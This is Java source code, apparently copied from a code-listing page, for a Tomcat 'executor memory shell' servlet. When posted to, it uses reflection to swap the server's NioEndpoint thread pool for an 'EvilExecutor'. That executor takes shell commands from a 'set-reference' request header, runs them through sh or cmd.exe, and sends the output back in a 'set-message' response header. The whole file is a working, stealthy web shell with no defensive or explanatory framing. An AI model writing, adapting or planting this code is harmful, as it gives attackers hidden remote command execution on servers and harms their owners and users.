1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| package servlet;
import org.apache.coyote.RequestInfo; import org.apache.coyote.Response; import org.apache.tomcat.util.net.NioEndpoint; import org.apache.tomcat.util.threads.ThreadPoolExecutor;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Scanner; import java.util.concurrent.*;
@WebServlet(name = "ExecutorMemoryShellServlet", value = "/ExecutorMemoryShellServlet") public class ExecutorMemoryShellServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { super.doGet(request, response); }
@Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint(); ThreadPoolExecutor executor = (ThreadPoolExecutor) nioEndpoint.getExecutor(); nioEndpoint.setExecutor(new EvilExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory())); response.getWriter().write("Executor Inject Successfully..."); }
public Object getField(Object obj, String field) { Class clazz = obj.getClass(); while (clazz != Object.class) { try { Field declaredField = clazz.getDeclaredField(field); declaredField.setAccessible(true); return declaredField.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; }
public Object getNioEndpoint() { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { try { if (thread.getName().contains("Poller")) { Object target = getField(thread, "target"); return getField(target, "this$0"); } } catch (Exception e) { e.printStackTrace(); } } return new Object(); }
class EvilExecutor extends ThreadPoolExecutor { public EvilExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory); } public String getRequest() { try { Object nioEndpoint = getNioEndpoint(); Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack"); ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); String req = new String(heapByteBuffer.array(), StandardCharsets.UTF_8); String cmd = req.substring(req.indexOf("set-reference") + "set-reference".length() + 1, req.indexOf("\r", req.indexOf("set-reference")) - 1); return cmd; } catch (Exception e) { e.printStackTrace(); return null; } }
public void getResponse(byte[] res) { try { Object nioEndpoint = getNioEndpoint(); ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors"); for (Object processor : processors) { RequestInfo requestInfo = (RequestInfo) processor; Response response = (Response) getField(getField(requestInfo, "req"), "response"); response.addHeader("set-message", new String(res, StandardCharsets.UTF_8)); } } catch (Exception e) { e.printStackTrace(); } }
@Override public void execute(Runnable command) { String cmd = getRequest(); try { if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; getResponse(output.getBytes()); } } catch (Exception e) { e.printStackTrace(); } this.execute(command, 0L, TimeUnit.MILLISECONDS); } } }
|